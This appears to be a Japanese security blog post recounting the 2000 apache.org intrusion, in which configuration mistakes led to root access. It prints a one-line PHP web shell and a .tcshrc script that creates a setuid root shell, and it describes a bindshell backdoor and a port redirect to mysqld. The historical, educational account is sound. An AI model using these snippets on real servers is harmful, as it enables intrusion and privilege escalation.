歴史に学ぶセキュリティ apache.orgハッキング事件

スポンサーリンク
スポンサーリンク

事件の概要

2000年5月、あるハッカー(以後「攻撃者」)がapache.orgに設定上の不備を発見し、root権限を奪取。トップページのロゴを書き換えるという事件が発生しました。その後、攻撃者自らapache.orgのメンバーに具体的な侵入方法を伝えた事により、事件の真相が明らかになりました。

これは、当時メジャーだったバッファオーバーフローのバグを一切使わず、設定上の不備のみを利用してroot権限奪取に至った、興味深い事件です。

第一の不備 – ftp設定

ftp://ftp.apache.org/には致命的な設定上の不備がありました。誰でも書き込み可能なディレクトリが存在していて、しかもそれがhttp://www.apache.org/の公開ディレクトリに含まれていました。つまり、http://www.apache.org/からアクセスできるディレクトリに、どのようなファイルでもアップロードできる状態でした。

apacheに存在するかも知れない新たなバッファオーバーフローのバグを求めて最新版のapacheをダウンロードするべくftp://ftp.apache.org/を訪れた攻撃者が、ついにその設定不備に気付きました。

そして、小さなphpファイルをアップロードしました。次のようなコードを含んだファイルです。

<?
passthru($cmd);
?>

この小さなphpファイルは、URLからパラメータを渡すだけでOSのコマンドを実行できるものです(?cmd=idのように)。次に、攻撃者はbindshellのソースコードをアップロードしました。bindshellとは任意のポートで待ち受け、そのポートへ接続するとリモートログインできる、いわゆるバックドアです。

攻撃者はアップロードしたbindshellをコンパイルして実行し、ポート65535に穴を開けました。そしてこのポートへリモート接続し、攻撃の足がかりとしてnobody権限のシェルアクセスに成功しました。

第二の不備 – mysqldの動作権限

シェルアクセスに成功してサーバ内を探索した攻撃者はapache.orgでmysqldが動いている事に気付きました。

apache.orgのメンバーはbugzillaというバグ管理システムを使っていたのですが、そのデータベースとしてmysqldを動かしていました。

bugzillaのREADMEには「決してmysqldをroot権限で動かしてはならない」と記載されていましたが、apache.orgのメンバーはそれを守っていませんでした。そして悪いことにデータベースに接続するためのユーザー名とパスワードはbugzillaのソースに平文で記述されていました。

bugzillaのソースからmysqldへ接続するためのユーザー名とパスワードを手に入れた攻撃者はポートリダイレクトツールをapache.orgで動作させ、自分のローカル端末からapache.orgの23306ポートへmysqlクライアントで接続し、その接続をapache.orgの3306ポートへリダイレクトさせる事で自分の端末からapache.orgのmysqldへ接続する事に成功しました。

/root/.tcshrcの改ざん

mysqldへの接続に成功した攻撃者はsqlコマンドで/root/.tcshrcを上書きしました。内容は次のようなものです。

#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc

/root/.tcshrcはFreeBSDのデフォルトシェルであるtcshが起動した際に読み込まれるファイルです(apache.orgはFreeBSD 3.4で動いていた)。つまり、誰かがroot権限でログインするとこのファイルが読み込まれ、rootにsetuidされた/bin/shを/tmp/.rootshというファイル名でコピーします。

root権限奪取

あとは誰かがrootになるのを待つだけです。程なくapache.orgのメンバーがsu -コマンドでrootになりました。

攻撃者の思惑通り/tmp/.rootshが作成され、root権限は奪取されました。

さいごに

当時の侵入方法はバッファオーバーフローが主流で、ぼくもバッファオーバーフローのバグを探すために色々なソフトウェアのソースコードを読んでいました。

この侵入事件を知ったとき、10年20年経っても通じる攻撃手法だとぼくは確信しました。その確信は間違っていなかったようです。このような設定上のミスは見過ごされやすく、今でも通用する攻撃手法ですから。

スポンサーリンク
スポンサーリンク

フォローする

スポンサーリンク
スポンサーリンク